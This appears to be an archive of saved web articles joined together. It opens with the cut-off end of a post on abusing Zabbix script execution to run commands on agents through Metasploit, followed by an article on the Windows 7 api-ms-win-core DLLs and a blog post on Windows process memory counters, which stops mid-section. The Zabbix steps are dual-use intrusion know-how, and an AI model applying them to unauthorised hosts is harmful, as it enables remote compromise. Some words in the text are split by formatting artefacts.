  * Create script with agent hostid and modify few options in the script functionality \(choose execute on zabbix agent instead of server\)
  * Test remote commands is enabled
  * Execute script

If we modify our Metasploit script:

<img src='https://www.corelan.be/wp-
content/uploads/2013/10/zabbix15_thumb2.png' alt='zabbix15' />

I will leave this exercise up to the reader if you want to write a post
module**.** :\)

* * *
© 2013, Corelan Team \(Lincoln\) **.** All rights reserved.

### Like this**** :

Like Loading..**.**

### Related Posts**** :

****

# Windows 7 Kernel Architecture Changes - api-ms-win-core files

**Created:**| _4/4/2011 8:14:01 AM_  
---|---  
**Updated:**| _4/4/2011 8:14:01 AM_  
**Author:**| __  
**Tags:**| __  
  
| Windows 7 Kernel Architecture Changes - api-ms-win-core files  
---  
Windows 7 introduces a new set of dll files containing exported functions of
many well-known WIN32 APIs. All these filenames begins with 'api-ms-win-core'
prefix, followed by the functions category name.  
For example, api-ms-win-core-localregistry-l1-1-0.dll contains the exported
names for all Registry functions, api-ms-win-core-file-l1-1-0.dll contains the
exported names for all file-related functions, api-ms-win-core-
localization-l1-1-0.dll contains the exported names for all localization
functions, and so on.

If you look deeply into these files, you'll see that all these files are very
small, and the functions in them doen't do anything, and simply returns a
'TRUE' value. Just for example, here's the assembly language content of
RegDeleteValueW function in api-ms-win-core-localregistry-l1-1-0.dll:

[code]

    084010CE 33C0                    xor eax, eax
    084010D0 40                      inc eax
    084010D1 C20800                  ret 0008
    
[/code]

By looking in dependency walker utility, we can see that advapi32.dll,
kernel32.dll, and other system dll files, are now statically linked to these
empty api-ms-win-core files.

<img src='img/Temp2_9547.png' />

Moreover, if we look in the assembly language output of many API functions, we
can see that they simply call their corresponding function in one of these
api-ms-win-core Dlls. Just for example, RegDeleteValueW in advapi32.dll,
simply contains a jump to the RegDeleteValueW in API-MS-Win-Core-
LocalRegistry-L1-1-0.dll:

[code]

    ADVAPI32!RegDeleteValueW:
    77C6F301 8BFF                    mov edi, edi
    77C6F303 55                      push ebp
    77C6F304 8BEC                    mov ebp, esp
    77C6F306 5D                      pop ebp
    77C6F307 EB05                    jmp 77C6F30E
    .
    .
    .
    77C6F30E FF25B414C677            Jmp dword ptr [77C614B4]   <-- [77C614B4] Points the import entry 
    of API-MS-Win-Core-LocalRegistry-L1-1-0.RegDeleteValueW
    
[/code]

So if RegDeleteValueW in ADVAPI32 and other functions simply jumps to empty
functions, how is it possible that these functions still works properly ?

The answer is pretty simple: When Windows loads the dll files, all the import
entries of these api-ms-win-core Dlls are replaced with a call to a real
function in Windows kernel.  
So here's our RegDeleteValueW example again: when loading a program into
WinDbg, we can see that the jmp call now points to kernel32\!RegDeleteValueW
function. That's because during the loading of advapi32.dll, Windows
automatically replace the import entry of API-MS-Win-Core-
LocalRegistry-L1-1-0.RegDeleteValueW to the function address of
RegDeleteValueW in kernel32.

[code]

    75e5f301 8bff            mov     edi,edi
    75e5f303 55              push    ebp
    75e5f304 8bec            mov     ebp,esp
    75e5f306 5d              pop     ebp
    75e5f307 eb05            jmp     ADVAPI32!RegDeleteValueW+0xd (75e5f30e)
    .
    .
    .
    75e5f30e ff25b414e575    jmp     dword ptr [ADVAPI32+0x14b4 (75e514b4)] ds:0023:75e514b4=
    {kernel32!RegDeleteValueW (758bd5af)}
    
[/code]

#### Another new dll: kernelbase.dll

In addition to the new API-MS-Win-Core dll files, there is also another new
dll: kernelbase.dll  
In previous versions of Windows, most of the kernel32 functions called to
their corresponding functions in ntdll.dll.  
In Windows 7, most of the kernel functions call to their corresponding
functions in kernelbase.dll, and the kernelbase dll is the one that makes the
calls to ntdll.dll

#### Effects on existing applications - compatibility issues.

Most of the existing applications should not be affected by this kernel
change, because all standard API calls still works the same as in previous
versions of Windows.  
However, there are some diagnostic/debugging applications that rely on the
calls chain inside the Windows kernel. These kind of applications may not work
properly in Windows 7.  
My own utilities, RegFromApp and ProcessActivityView failed to work under
Windows 7 because of these changes, and that what led me to discover the
kernel changes of Windows 7. These utilities problems already fixed and now
they works properly in Windows 7.

#### API-MS-Win-Core List

Finally, here's the list of all core dll files added to Windows 7 and the
functions list that each one of them contain. I used my own DLL Export Viewer
utility to generate the list.

DLL File | Function Names   
---|---  
api-ms-win-core-console-l1-1-0.dll |  |  AllocConsole |  GetConsoleCP |  GetConsoleMode   
---|---|---  
GetConsoleOutputCP |  GetNumberOfConsoleInputEvents |  PeekConsoleInputA   
ReadConsoleA |  ReadConsoleInputA |  ReadConsoleInputW   
ReadConsoleW |  SetConsoleCtrlHandler |  SetConsoleMode   
WriteConsoleA |  WriteConsoleW   
api-ms-win-core-datetime-l1-1-0.dll |  |  GetDateFormatA |  GetDateFormatW |  GetTimeFormatA   
---|---|---  
GetTimeFormatW  
api-ms-win-core-debug-l1-1-0.dll |  |  DebugBreak |  IsDebuggerPresent |  OutputDebugStringA   
---|---|---  
OutputDebugStringW  
api-ms-win-core-delayload-l1-1-0.dll |  |  DelayLoadFailureHook   
---  
api-ms-win-core-errorhandling-l1-1-0.dll |  |  GetErrorMode |  GetLastError |  RaiseException   
---|---|---  
SetErrorMode |  SetLastError |  SetUnhandledExceptionFilter   
UnhandledExceptionFilter  
api-ms-win-core-fibers-l1-1-0.dll |  |  FlsAlloc |  FlsFree |  FlsGetValue   
---|---|---  
FlsSetValue  
api-ms-win-core-file-l1-1-0.dll |  |  CompareFileTime |  CreateDirectoryA |  CreateDirectoryW   
---|---|---  
CreateFileA |  CreateFileW |  DefineDosDeviceW   
DeleteFileA |  DeleteFileW |  DeleteVolumeMountPointW   
FileTimeToLocalFileTime |  FileTimeToSystemTime |  FindClose   
FindCloseChangeNotification |  FindFirstChangeNotificationA |  FindFirstChangeNotificationW   
FindFirstFileA |  FindFirstFileExA |  FindFirstFileExW   
FindFirstFileW |  FindFirstVolumeW |  FindNextChangeNotification   
FindNextFileA |  FindNextFileW |  FindNextVolumeW   
FindVolumeClose |  FlushFileBuffers |  GetDiskFreeSpaceA   
GetDiskFreeSpaceExA |  GetDiskFreeSpaceExW |  GetDiskFreeSpaceW   
GetDriveTypeA |  GetDriveTypeW |  GetFileAttributesA   
GetFileAttributesExA |  GetFileAttributesExW |  GetFileAttributesW   
GetFileInformationByHandle |  GetFileSize |  GetFileSizeEx   
GetFileTime |  GetFileType |  GetFinalPathNameByHandleA   
GetFinalPathNameByHandleW |  GetFullPathNameA |  GetFullPathNameW   
GetLogicalDrives |  GetLogicalDriveStringsW |  GetLongPathNameA   
GetLongPathNameW |  GetShortPathNameW |  GetTempFileNameW   
GetVolumeInformationByHandleW |  GetVolumeInformationW |  GetVolumePathNameW   
LocalFileTimeToFileTime |  LockFile |  LockFileEx   
QueryDosDeviceW |  ReadFile |  ReadFileEx   
ReadFileScatter |  RemoveDirectoryA |  RemoveDirectoryW   
SetEndOfFile |  SetFileAttributesA |  SetFileAttributesW   
SetFileInformationByHandle |  SetFilePointer |  SetFilePointerEx   
SetFileTime |  SetFileValidData |  UnlockFile   
UnlockFileEx |  WriteFile |  WriteFileEx   
WriteFileGather  
api-ms-win-core-handle-l1-1-0.dll |  |  CloseHandle |  DuplicateHandle |  GetHandleInformation   
---|---|---  
SetHandleInformation  
api-ms-win-core-heap-l1-1-0.dll |  |  GetProcessHeap |  GetProcessHeaps |  HeapAlloc   
---|---|---  
HeapCompact |  HeapCreate |  HeapDestroy   
HeapFree |  HeapLock |  HeapQueryInformation   
HeapReAlloc |  HeapSetInformation |  HeapSize   
HeapSummary |  HeapUnlock |  HeapValidate   
HeapWalk  
api-ms-win-core-interlocked-l1-1-0.dll |  |  InitializeSListHead |  InterlockedCompareExchange |  InterlockedCompareExchange64   
---|---|---  
InterlockedDecrement |  InterlockedExchange |  InterlockedExchangeAdd   
InterlockedFlushSList |  InterlockedIncrement |  InterlockedPopEntrySList   
InterlockedPushEntrySList |  InterlockedPushListSList |  QueryDepthSList   
api-ms-win-core-io-l1-1-0.dll |  |  CancelIoEx |  CreateIoCompletionPort |  DeviceIoControl   
---|---|---  
GetOverlappedResult |  GetQueuedCompletionStatus |  GetQueuedCompletionStatusEx   
PostQueuedCompletionStatus  
api-ms-win-core-libraryloader-l1-1-0.dll |  |  DisableThreadLibraryCalls |  FindResourceExW |  FindStringOrdinal   
---|---|---  
FreeLibrary |  FreeLibraryAndExitThread |  FreeResource   
GetModuleFileNameA |  GetModuleFileNameW |  GetModuleHandleA   
GetModuleHandleExA |  GetModuleHandleExW |  GetModuleHandleW   
GetProcAddress |  LoadLibraryExA |  LoadLibraryExW   
LoadResource |  LoadStringA |  LoadStringW   
LockResource |  SizeofResource   
api-ms-win-core-localization-l1-1-0.dll |  |  ConvertDefaultLocale |  FindNLSString |  FindNLSStringEx   
---|---|---  
GetACP |  GetCalendarInfoEx |  GetCalendarInfoW   
GetCPFileNameFromRegistry |  GetCPInfo |  GetCPInfoExW   
GetFileMUIInfo |  GetFileMUIPath |  GetLocaleInfoEx   
GetLocaleInfoW |  GetNLSVersion |  GetNLSVersionEx   
GetOEMCP |  GetProcessPreferredUILanguages |  GetSystemDefaultLangID   
GetSystemDefaultLCID |  GetSystemPreferredUILanguages |  GetThreadLocale   
GetThreadPreferredUILanguages |  GetThreadUILanguage |  GetUILanguageInfo   
GetUserDefaultLangID |  GetUserDefaultLCID |  GetUserPreferredUILanguages   
IsNLSDefinedString |  IsValidCodePage |  IsValidLanguageGroup   
IsValidLocale |  IsValidLocaleName |  LCMapStringEx   
LCMapStringW |  LocaleNameToLCID |  NlsCheckPolicy   
NlsEventDataDescCreate |  NlsGetCacheUpdateCount |  NlsUpdateLocale   
NlsUpdateSystemLocale |  NlsWriteEtwEvent |  ResolveLocaleName   
SetCalendarInfoW |  SetLocaleInfoW |  SetThreadLocale   
VerLanguageNameA |  VerLanguageNameW   
api-ms-win-core-localregistry-l1-1-0.dll |  |  RegCloseKey |  RegCreateKeyExA |  RegCreateKeyExW   
---|---|---  
RegDeleteKeyExA |  RegDeleteKeyExW |  RegDeleteTreeA   
RegDeleteTreeW |  RegDeleteValueA |  RegDeleteValueW   
RegDisablePredefinedCacheEx |  RegEnumKeyExA |  RegEnumKeyExW   
RegEnumValueA |  RegEnumValueW |  RegFlushKey   
RegGetKeySecurity |  RegGetValueA |  RegGetValueW   
RegLoadKeyA |  RegLoadKeyW |  RegLoadMUIStringA   
RegLoadMUIStringW |  RegNotifyChangeKeyValue |  RegOpenCurrentUser   
RegOpenKeyExA |  RegOpenKeyExW |  RegOpenUserClassesRoot   
RegQueryInfoKeyA |  RegQueryInfoKeyW |  RegQueryValueExA   
RegQueryValueExW |  RegRestoreKeyA |  RegRestoreKeyW   
RegSaveKeyExA |  RegSaveKeyExW |  RegSetKeySecurity   
RegSetValueExA |  RegSetValueExW |  RegUnLoadKeyA   
RegUnLoadKeyW  
api-ms-win-core-memory-l1-1-0.dll |  |  CreateFileMappingW |  FlushViewOfFile |  MapViewOfFile   
---|---|---  
MapViewOfFileEx |  OpenFileMappingW |  ReadProcessMemory   
UnmapViewOfFile |  VirtualAlloc |  VirtualAllocEx   
VirtualFree |  VirtualFreeEx |  VirtualProtect   
VirtualProtectEx |  VirtualQuery |  VirtualQueryEx   
WriteProcessMemory  
api-ms-win-core-misc-l1-1-0.dll |  |  EnumSystemLocalesA |  FatalAppExitA |  FatalAppExitW   
---|---|---  
FormatMessageA |  FormatMessageW |  GlobalAlloc   
GlobalFree |  IsProcessInJob |  IsWow64Process   
LCMapStringA |  LocalAlloc |  LocalFree   
LocalLock |  LocalReAlloc |  LocalUnlock   
lstrcmp |  lstrcmpA |  lstrcmpi   
lstrcmpiA |  lstrcmpiW |  lstrcmpW   
lstrcpyn |  lstrcpynA |  lstrcpynW   
lstrlen |  lstrlenA |  lstrlenW   
NeedCurrentDirectoryForExePathA |  NeedCurrentDirectoryForExePathW |  PulseEvent   
SetHandleCount |  Sleep |  Wow64DisableWow64FsRedirection   
Wow64RevertWow64FsRedirection  
api-ms-win-core-namedpipe-l1-1-0.dll |  |  ConnectNamedPipe |  CreateNamedPipeW |  CreatePipe   
---|---|---  
DisconnectNamedPipe |  GetNamedPipeAttribute |  GetNamedPipeClientComputerNameW   
ImpersonateNamedPipeClient |  PeekNamedPipe |  SetNamedPipeHandleState   
TransactNamedPipe |  WaitNamedPipeW   
api-ms-win-core-processenvironment-l1-1-0.dll |  |  ExpandEnvironmentStringsA |  ExpandEnvironmentStringsW |  FreeEnvironmentStringsA   
---|---|---  
FreeEnvironmentStringsW |  GetCommandLineA |  GetCommandLineW   
GetCurrentDirectoryA |  GetCurrentDirectoryW |  GetEnvironmentStrings   
GetEnvironmentStringsA |  GetEnvironmentStringsW |  GetEnvironmentVariableA   
GetEnvironmentVariableW |  GetStdHandle |  SearchPathW   
SetCurrentDirectoryA |  SetCurrentDirectoryW |  SetEnvironmentStringsW   
SetEnvironmentVariableA |  SetEnvironmentVariableW |  SetStdHandle   
SetStdHandleEx  
api-ms-win-core-processthreads-l1-1-0.dll |  |  CreateProcessA |  CreateProcessAsUserW |  CreateProcessW   
---|---|---  
CreateRemoteThread |  CreateRemoteThreadEx |  CreateThread   
DeleteProcThreadAttributeList |  ExitProcess |  ExitThread   
FlushProcessWriteBuffers |  GetCurrentProcess |  GetCurrentProcessId   
GetCurrentThread |  GetCurrentThreadId |  GetExitCodeProcess   
GetExitCodeThread |  GetPriorityClass |  GetProcessId   
GetProcessIdOfThread |  GetProcessTimes |  GetProcessVersion   
GetStartupInfoW |  GetThreadId |  GetThreadPriority   
GetThreadPriorityBoost |  InitializeProcThreadAttributeList |  OpenProcessToken   
OpenThread |  OpenThreadToken |  ProcessIdToSessionId   
QueryProcessAffinityUpdateMode |  QueueUserAPC |  ResumeThread   
SetPriorityClass |  SetProcessAffinityUpdateMode |  SetProcessShutdownParameters   
SetThreadPriority |  SetThreadPriorityBoost |  SetThreadStackGuarantee   
SetThreadToken |  SuspendThread |  SwitchToThread   
TerminateProcess |  TerminateThread |  TlsAlloc   
TlsFree |  TlsGetValue |  TlsSetValue   
UpdateProcThreadAttribute  
api-ms-win-core-profile-l1-1-0.dll |  |  QueryPerformanceCounter |  QueryPerformanceFrequency   
---|---  
api-ms-win-core-rtlsupport-l1-1-0.dll |  |  RtlCaptureContext |  RtlCaptureStackBackTrace |  RtlFillMemory   
---|---|---  
RtlUnwind  
api-ms-win-core-string-l1-1-0.dll |  |  CompareStringEx |  CompareStringOrdinal |  CompareStringW   
---|---|---  
FoldStringW |  GetStringTypeExW |  GetStringTypeW   
MultiByteToWideChar |  WideCharToMultiByte   
api-ms-win-core-synch-l1-1-0.dll |  |  AcquireSRWLockExclusive |  AcquireSRWLockShared   
---|---  
CancelWaitableTimer |  CreateEventA   
CreateEventExA |  CreateEventExW   
CreateEventW |  CreateMutexA   
CreateMutexExA |  CreateMutexExW   
CreateMutexW |  CreateSemaphoreExW   
CreateWaitableTimerExW |  DeleteCriticalSection   
EnterCriticalSection |  InitializeCriticalSection   
InitializeCriticalSectionAndSpinCount |  InitializeCriticalSectionEx   
InitializeSRWLock |  LeaveCriticalSection   
OpenEventA |  OpenEventW   
OpenMutexW |  OpenProcess   
OpenSemaphoreW |  OpenWaitableTimerW   
ReleaseMutex |  ReleaseSemaphore   
ReleaseSRWLockExclusive |  ReleaseSRWLockShared   
ResetEvent |  SetCriticalSectionSpinCount   
SetEvent |  SetWaitableTimer   
SetWaitableTimerEx |  SleepEx   
TryAcquireSRWLockExclusive |  TryAcquireSRWLockShared   
TryEnterCriticalSection |  WaitForMultipleObjectsEx   
WaitForSingleObject |  WaitForSingleObjectEx   
api-ms-win-core-sysinfo-l1-1-0.dll |  |  GetComputerNameExA |  GetComputerNameExW |  GetDynamicTimeZoneInformation   
---|---|---  
GetLocalTime |  GetLogicalProcessorInformation |  GetLogicalProcessorInformationEx   
GetSystemDirectoryA |  GetSystemDirectoryW |  GetSystemInfo   
GetSystemTime |  GetSystemTimeAdjustment |  GetSystemTimeAsFileTime   
GetSystemWindowsDirectoryA |  GetSystemWindowsDirectoryW |  GetTickCount   
GetTickCount64 |  GetTimeZoneInformation |  GetTimeZoneInformationForYear   
GetVersion |  GetVersionExA |  GetVersionExW   
GetWindowsDirectoryA |  GetWindowsDirectoryW |  GlobalMemoryStatusEx   
SetLocalTime |  SystemTimeToFileTime |  SystemTimeToTzSpecificLocalTime   
TzSpecificLocalTimeToSystemTime  
api-ms-win-core-threadpool-l1-1-0.dll |  |  CallbackMayRunLong |  CancelThreadpoolIo   
---|---  
ChangeTimerQueueTimer |  CloseThreadpool   
CloseThreadpoolCleanupGroup |  CloseThreadpoolCleanupGroupMembers   
CloseThreadpoolIo |  CloseThreadpoolTimer   
CloseThreadpoolWait |  CloseThreadpoolWork   
CreateThreadpool |  CreateThreadpoolCleanupGroup   
CreateThreadpoolIo |  CreateThreadpoolTimer   
CreateThreadpoolWait |  CreateThreadpoolWork   
CreateTimerQueue |  CreateTimerQueueTimer   
DeleteTimerQueueEx |  DeleteTimerQueueTimer   
DisassociateCurrentThreadFromCallback |  FreeLibraryWhenCallbackReturns   
IsThreadpoolTimerSet |  LeaveCriticalSectionWhenCallbackReturns   
QueryThreadpoolStackInformation |  RegisterWaitForSingleObjectEx   
ReleaseMutexWhenCallbackReturns |  ReleaseSemaphoreWhenCallbackReturns   
SetEventWhenCallbackReturns |  SetThreadpoolStackInformation   
SetThreadpoolThreadMaximum |  SetThreadpoolThreadMinimum   
SetThreadpoolTimer |  SetThreadpoolWait   
StartThreadpoolIo |  SubmitThreadpoolWork   
TrySubmitThreadpoolCallback |  UnregisterWaitEx   
WaitForThreadpoolIoCallbacks |  WaitForThreadpoolTimerCallbacks   
WaitForThreadpoolWaitCallbacks |  WaitForThreadpoolWorkCallbacks   
api-ms-win-core-util-l1-1-0.dll |  |  Beep |  DecodePointer |  DecodeSystemPointer   
---|---|---  
EncodePointer |  EncodeSystemPointer   
api-ms-win-core-xstate-l1-1-0.dll |  |  RtlCopyExtendedContext |  RtlGetEnabledExtendedFeatures |  RtlGetExtendedContextLength   
---|---|---  
RtlGetExtendedFeaturesMask |  RtlInitializeExtendedContext |  RtlLocateExtendedFeature   
RtlLocateLegacyContext |  RtlSetExtendedFeaturesMask   
api-ms-win-security-base-l1-1-0.dll |  |  AccessCheck |  AccessCheckAndAuditAlarmW   
---|---  
AccessCheckByType |  AccessCheckByTypeAndAuditAlarmW   
AccessCheckByTypeResultList |  AccessCheckByTypeResultListAndAuditAlarmByHandleW   
AccessCheckByTypeResultListAndAuditAlarmW |  AddAccessAllowedAce   
AddAccessAllowedAceEx |  AddAccessAllowedObjectAce   
AddAccessDeniedAce |  AddAccessDeniedAceEx   
AddAccessDeniedObjectAce |  AddAce   
AddAuditAccessAce |  AddAuditAccessAceEx   
AddAuditAccessObjectAce |  AddMandatoryAce   
AdjustTokenGroups |  AdjustTokenPrivileges   
AllocateAndInitializeSid |  AllocateLocallyUniqueId   
AreAllAccessesGranted |  AreAnyAccessesGranted   
CheckTokenMembership |  ConvertToAutoInheritPrivateObjectSecurity   
CopySid |  CreatePrivateObjectSecurity   
CreatePrivateObjectSecurityEx |  CreatePrivateObjectSecurityWithMultipleInheritance   
CreateRestrictedToken |  CreateWellKnownSid   
DeleteAce |  DestroyPrivateObjectSecurity   
DuplicateToken |  DuplicateTokenEx   
EqualDomainSid |  EqualPrefixSid   
EqualSid |  FindFirstFreeAce   
FreeSid |  GetAce   
GetAclInformation |  GetFileSecurityW   
GetKernelObjectSecurity |  GetLengthSid   
GetPrivateObjectSecurity |  GetSecurityDescriptorControl   
GetSecurityDescriptorDacl |  GetSecurityDescriptorGroup   
GetSecurityDescriptorLength |  GetSecurityDescriptorOwner   
GetSecurityDescriptorRMControl |  GetSecurityDescriptorSacl   
GetSidIdentifierAuthority |  GetSidLengthRequired   
GetSidSubAuthority |  GetSidSubAuthorityCount   
GetTokenInformation |  GetWindowsAccountDomainSid   
ImpersonateAnonymousToken |  ImpersonateLoggedOnUser   
ImpersonateSelf |  InitializeAcl   
InitializeSecurityDescriptor |  InitializeSid   
IsTokenRestricted |  IsValidAcl   
IsValidRelativeSecurityDescriptor |  IsValidSecurityDescriptor   
IsValidSid |  IsWellKnownSid   
MakeAbsoluteSD |  MakeAbsoluteSD2   
MakeSelfRelativeSD |  MapGenericMask   
ObjectCloseAuditAlarmW |  ObjectDeleteAuditAlarmW   
ObjectOpenAuditAlarmW |  ObjectPrivilegeAuditAlarmW   
PrivilegeCheck |  PrivilegedServiceAuditAlarmW   
QuerySecurityAccessMask |  RevertToSelf   
SetAclInformation |  SetFileSecurityW   
SetKernelObjectSecurity |  SetPrivateObjectSecurity   
SetPrivateObjectSecurityEx |  SetSecurityAccessMask   
SetSecurityDescriptorControl |  SetSecurityDescriptorDacl   
SetSecurityDescriptorGroup |  SetSecurityDescriptorOwner   
SetSecurityDescriptorRMControl |  SetSecurityDescriptorSacl   
SetTokenInformation  
api-ms-win-security-lsalookup-l1-1-0.dll |  |  LookupAccountNameLocalA |  LookupAccountNameLocalW |  LookupAccountSidLocalA   
---|---|---  
LookupAccountSidLocalW |  LsaLookupClose |  LsaLookupFreeMemory   
LsaLookupGetDomainInfo |  LsaLookupManageSidNameMapping |  LsaLookupOpenLocalPolicy   
LsaLookupTranslateNames |  LsaLookupTranslateSids   
api-ms-win-security-sddl-l1-1-0.dll |  |  ConvertSecurityDescriptorToStringSecurityDescriptorW |  ConvertSidToStringSidW   
---|---  
ConvertStringSecurityDescriptorToSecurityDescriptorW |  ConvertStringSidToSidW   
api-ms-win-service-core-l1-1-0.dll |  |  RegisterServiceCtrlHandlerExW |  SetServiceStatus |  StartServiceCtrlDispatcherW   
---|---|---  
api-ms-win-service-management-l1-1-0.dll |  |  CloseServiceHandle |  ControlServiceExW |  CreateServiceW   
---|---|---  
DeleteService |  OpenSCManagerW |  OpenServiceW   
StartServiceW  
api-ms-win-service-management-l2-1-0.dll |  |  ChangeServiceConfig2W |  ChangeServiceConfigW |  NotifyServiceStatusChangeW   
---|---|---  
QueryServiceConfig2W |  QueryServiceConfigW |  QueryServiceObjectSecurity   
QueryServiceStatusEx |  SetServiceObjectSecurity   
api-ms-win-service-winsvc-l1-1-0.dll |  |  ChangeServiceConfig2A |  ChangeServiceConfigA |  ControlService   
---|---|---  
ControlServiceExA |  CreateServiceA |  I\_QueryTagInformation   
I\_ScBroadcastServiceControlMessage |  I\_ScIsSecurityProcess |  I\_ScPnPGetServiceName   
I\_ScQueryServiceConfig |  I\_ScRpcBindA |  I\_ScRpcBindW   
I\_ScSendPnPMessage |  I\_ScSendTSMessage |  I\_ScValidatePnPService   
NotifyServiceStatusChangeA |  OpenSCManagerA |  OpenServiceA   
QueryServiceConfig2A |  QueryServiceConfigA |  QueryServiceStatus   
RegisterServiceCtrlHandlerA |  RegisterServiceCtrlHandlerExA |  RegisterServiceCtrlHandlerW   
StartServiceA |  StartServiceCtrlDispatcherA 

# Windows Process Memory Usage Demystified | All Your Base Are Belong To Us
**Created:**| _1/5/2016 3:02:29 PM_  
---|---  
**Updated:**| _1/5/2016 3:02:29 PM_  
**Author:**| __  
**Tags:**| __  
  
  

Israel Blogging Community

Sign in

#  All Your Base Are Belong To Us

<img src='img/Temp2_9915.jpg' width='200' height='200' />

Home page

linkedin RSS

##  Windows Process Memory Usage Demystified

### January 5, 2016

facebook linkedin twitter email

tags: DEV, Tools, WindowsInternals

no comments

“How much memory is your process using?” — I bet you were asked that question,
or asked it yourself, more times than you can remember. But what do you really
mean by _m emory_?

I never thought it would be hard to find a definitive resource for what the
various memory usage counters mean for a Windows process. But try it: Google
“Windows Task Manager memory columns” and you’ll see confusing, conflicting,
inconsistent, unclear explanations of what the different metrics represent. If
we can’t even agree on what “working set” or “commit size” means, how can we
ever monitor our Windows applications successfully?

First, we will need a sample application that will allocate various kinds of
memory for our experiments. I’ve written one for this blog post: it is simply
called **M emory**. You can find it on GitHub. Currently, it supports multiple
kinds of allocations: reserve, commit, shareable memory, and more.

To monitor application memory usage, we will use Sysinternals VMMap, a long-
time favorite on my blog. It offers unparalleled insight into what your
application is doing in terms of memory. Simply choose a process when
launching VMMap, and view memory utilization categorized by type \(private,
shared, reserved, committed\) and purpose \(image, heap, stack, mapped file\).
You can also run it from the command line, for example:

[code]

    VMMap.exe -p MyApp output.csv
[/code]

<img src='img/Temp2_9913.jpg' width='625' height='698' alt='VMMap showing a
process' memory usage' />

Armed with these tools, let’s get to business and try to characterize the
various kinds of memory usage in Windows processes. We must begin with the
virtual memory size of the process — the amount of address space that is in
use.

### Virtual Memory

Windows applications do not access physical memory directly. Any address in
your application is a virtual address that is translated by the CPU to a
physical address when accessed. Although it is often the case that there is
more virtual memory available than RAM to back it up, virtual memory is still
limited. On 32-bit Windows with a default configuration, each process can
allocate up to 2GB of virtual memory. On 64-bit Windows, each 64-bit process
can allocate up to 128TB of virtual memory \(this limit used to be 8TB until
Windows 8.1\).

Each page of virtual memory can be in one of three states: free, reserved, and
committed:

**F ree** pages is available for subsequent allocations \(and excluding
unusable pages, discussed later\).

**R eserved** pages are not available for subsequent allocations, but they are
not backed by physical memory. In other words, you may not access reserved
pages, and you may not assume that at some point the system will have
sufficient physical memory to back them up. For example, try running **M
emory.exe reserve 10000000** to allocate approximately 10TB of reserved
memory. This should work just fine \(on a 64-bit system, of course\), although
you probably don’t have enough physical memory to back up 10TB of virtual
addresses.

**C ommitted** pages may be accessed by your application. The system
guarantees that when you access a committed page, there will be physical
memory to back it up. The physical memory is allocated on-demand, when you
first access the page. Even though the system doesn’t allocate physical memory
immediately, this guarantee implies that there is a system-wide limit on how
much memory can be committed by _a ll_ processes. This limit is called the _c
ommit limit_. If an allocation would exceed the commit limit, the system does
not satisfy it. Go ahead and try it: **M emory.exe commit 10000000**.

To further complicate things, committed memory can be shared with other
processes. If two processes share 100MB of physical memory, the 100MB virtual
region is committed in both processes, but it only counts _o nce_ towards the
commit limit.

It makes sense to examine the following aspects of a process’ virtual memory
usage:

**C ommitted bytes**. This information is available in VMMap under Total >
Committed and the Process > Page File Bytes performance counter.

**R eserved bytes**. This information is available in VMMap as the delta
between Total > Size and Total > Committed. It can be calculated as the
difference between non-free bytes and committed bytes.

**N on-free bytes**. This information is available in VMMap under Total >
Size, or as the Process > Virtual Bytes performance counter.

**F ree bytes**. This information is available in VMMap under Free > Size. It
can also be deduced from the size of the virtual address space \(2GB, 3GB,
4GB, 8TB, or 128TB — depending on the system configuration\) and the non-free
bytes value.

This tells almost the whole story. Here’s a statement that at this point might
sound fairly accurate:

> The non-free bytes value is exactly the amount of virtual memory that is
> available for subsequent allocations.
Unfortunately, it is not entirely accurate. The Windows memory manager
guarantees \(for historical reasons\) that new allocations are aligned on a
64KB boundary. Therefore, if your allocations are not all divisible by 64KB,
some memory regions might be lost for future allocations. VMMap calls them _U
nusable_, and it is the only tool that can reliably display them. To
experiment, run **M emory.exe unusable 100**. VMMap will report around 100MB
of unusable virtual memory, which is theoretically free and invisible to any
other tool. However, that memory cannot be used to satisfy future allocations,
so it is as good as dead.

### Shareable Memory

As I noted earlier, physical memory can be shared across multiple processes:
more than one process may have a virtual page mapped to a certain physical
page. Some of these shared pages are not under your direct control, e.g. DLL
code is shared across processes; some other shared pages can be allocated
directly by your code. The reason it’s important to understand shared memory
usage is that a page of shared memory might be mistakenly attributed to all
processes sharing that page. Although it definitely occupies a range of
virtual addresses in each process, it’s not duplicated in physical memory.

There’s also a matter of terminology to clarify here. All shared pages are
committed, but not all committed pages can be shared. A shareable page must be
allocated in advance as part of a _s ection object_, which is the kernel
abstraction for memory-mapped files and for sharing memory pages across
processes. So, to be precise, we can speak of two kinds of shareable memory:

Shareable memory that is shared: memory pages that are currently mapped into
the virtual address space of at least two processes.

Shareable memory that is not currently shared: memory pages that _m ay_ be
shared in the future, but are currently mapped into the virtual address space
of fewer than two processes.

_N OTE: The terms “private” and “shared” \(or “shareable”\) memory refer only
to committed memory. Reserved pages cannot be shared, so it makes no sense to
ask whether they are private or shareable._

It makes sense to look at the following per-process data points, to understand
which part of its virtual memory is shared \(or shareable\) with other
processes:

**P rivate bytes** \(memory that is not shared or shareable with other
processes\). This information is available in VMMap under Total > Private. It
is also available as a performance counter Process > Private Bytes. Note that
some of this committed memory may be backed by the page file, and not
currently resident in physical memory.

**S hareable bytes**. This information is available in VMMap under Shareable >
Committed. You can’t tell which of these bytes are actually shared with other
processes, unless you settle for the following two data points:

**S hareable bytes currently resident**. This information is available in
VMMap under Total > Shareable WS, but only includes pages that are resident in
physical memory. It doesn’t include potentially-shareable pages that happen to
be paged out to disk, or that weren’t accessed yet after being committed.

**S hared bytes currently resident**. This information is available in VMMap
under Total > Shared WS, but again only includes pages that are resident in
physical memory.

Also note that VMMap’s Shareable category doesn’t include certain kinds of
shareable memory, such as images \(DLLs\). These are represented separately by
the Image category.

Try it out: run **M emory.exe shareable\_touch 100**. You’ll see private bytes
unchanged, and shareable bytes go up — even though the allocated memory isn’t
currently shared with any other process. Shared bytes, on the other hand,
should remain the same. You can also try **M emory.exe shareable 100** —
you’ll see the Shareable/Shared WS values unchanged because physical memory is
not allocated unless the committed memory is also accessed.

### Physical Memory

So far, we only discussed the state of virtual memory pages. Indeed, free,
unusable, and reserved pages have no effect on the amount of physical memory
used by the system \(other than the data structures that must track reserved
memory regions\). But committed memory may have the effect of consuming
physical memory, too. Windows tracks physical memory on a system-wide basis,
but there is also information maintained on a per-process level that concerns
that process’ individual physical memory usage through its set of committed
virtual memory pages, also known as the _w orking set_.

_W indows manages physical memory in a set of lists: active, standby,
modified, free, and zero — to name a few. These lists are global to all
processes on the system. They can be very important from a monitoring
standpoint, but I’ll leave them for another time. If you’re really curious,
there’s a great Sysinternals tool called RAMMap that you can explore._

We need to add to our monitoring toolbox the following data points related to
process physical memory:

